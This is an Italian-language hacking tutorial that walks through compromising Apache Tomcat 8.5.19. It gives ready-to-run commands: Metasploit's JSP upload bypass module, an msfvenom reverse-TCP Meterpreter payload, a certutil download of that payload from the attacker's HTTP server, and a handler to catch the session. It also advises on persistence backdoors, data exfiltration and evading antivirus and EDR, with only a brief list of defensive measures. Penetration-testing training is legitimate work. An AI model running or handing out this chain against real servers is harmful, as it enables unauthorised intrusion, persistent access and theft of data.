Tutorials

Apache Tomcat v.8.5.19

Guida Approfondita: Exploiting Apache Tomcat v8.5.19 ---

#exploitation#windows

Guida Approfondita: Exploiting Apache Tomcat v8.5.19


Premessa

Apache Tomcat è un popolare application server utilizzato per eseguire applicazioni web Java. Alcune versioni, come la 8.5.19, presentano vulnerabilità critiche che possono essere sfruttate da un attaccante per ottenere l'esecuzione di codice remoto (RCE).

In questa guida vedremo come sfruttare una vulnerabilitĂ  di upload non sicuro per ottenere inizialmente una shell di comando, e successivamente escalare a una sessione Meterpreter, arricchendo il flusso operativo con altre tecniche e best practices.


Scenario di Attacco

  • Target: Apache Tomcat v8.5.19
  • VulnerabilitĂ : Upload non autorizzato di file JSP
  • Strumento Principale: Metasploit Framework

Fasi dell'Attacco

1. Enumerazione Iniziale Effettuare uno scanning del target utilizzando nmap:

bash
nmap -sV -p 8080 --script=http-enum <IP_Target>
Focus sull'individuazione di: - Pannelli di amministrazione accessibili (/manager/html) - Versione di Apache Tomcat 2. Exploitation - Upload Bypass Utilizzare il modulo Metasploit:
bash
use exploit/multi/http/tomcat_jsp_upload_bypass
    set RHOSTS <IP_Target>
    set RPORT 8080
    set TARGETURI /manager/html
    set HttpUsername <user>
    set HttpPassword <password>
    exploit
Se l'attacco va a buon fine, otterremo una command shell sul target. 3. Creazione di un Payload Meterpreter Generare un payload tramite msfvenom:
bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_Attacker> LPORT=4445 -f exe > payload.exe
Suggerimento: Per evitare detection da antivirus, è possibile usare opzioni avanzate di encoding di msfvenom. 4. Hosting del Payload Avviare un server HTTP semplice:
bash
python3 -m http.server 8000
5. Download del Payload sulla Macchina Vittima Sulla shell di comando della vittima:
bash
certutil -urlcache -f http://<IP_Attacker>:8000/payload.exe payload.exe
Nota: In alternativa a certutil, si possono usare powershell o bitsadmin per il download in caso di restrizioni. 6. Preparazione dell'Handler di Metasploit In Metasploit:
bash
use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST <IP_Attacker>
    set LPORT 4445
    run -j -z
- -j: Esegue l'handler come job in background - -z: Non interagisce automaticamente con la sessione catturata 7. Esecuzione del Payload Sulla shell della vittima:
bash
payload.exe
Se tutto è configurato correttamente, si aprirà una sessione Meterpreter.


Approfondimenti Tecnici e Tecniche Aggiuntive

  • Post-Exploitation:
- Privilege Escalation: Enumerare il sistema (systeminfo, whoami /all) e sfruttare eventuali vulnerabilitĂ  note. - Persistence: Installare backdoor persistenti tramite script Meterpreter (persistence script). - Data Exfiltration: Ricercare file interessanti (credentials, database, documenti riservati).
  • Evitare Antivirus e EDR:
- Usare payload "obfuscati" tramite strumenti come Veil, Shellter, o tecniche di "payload staging". - Compilare payload personalizzati in linguaggi alternativi (C#, Go).
  • Alternative di Exploit:
- Brute Forcing delle credenziali Tomcat: se è presente Basic Authentication senza protezioni. - Uso di WAR file: alcuni Tomcat permettono il deployment di file .war, che possono includere shell JSP.
  • Best Practice di Sicurezza (per la difesa):
- Aggiornare Apache Tomcat all'ultima versione. - Limitare l'accesso al Manager App solo a IP fidati. - Configurare correttamente i ruoli e i permessi. - Implementare WAF (Web Application Firewall) davanti all'application server.

Conclusione

Questa catena di attacco rappresenta un ottimo esempio di "Initial Access" che può essere rapidamente trasformato in compromissione completa del sistema. Come sempre, è fondamentale seguire un processo sistematico di post-exploitation e mantenere una mentalità orientata alla difesa, documentando ogni passo in un eventuale report finale.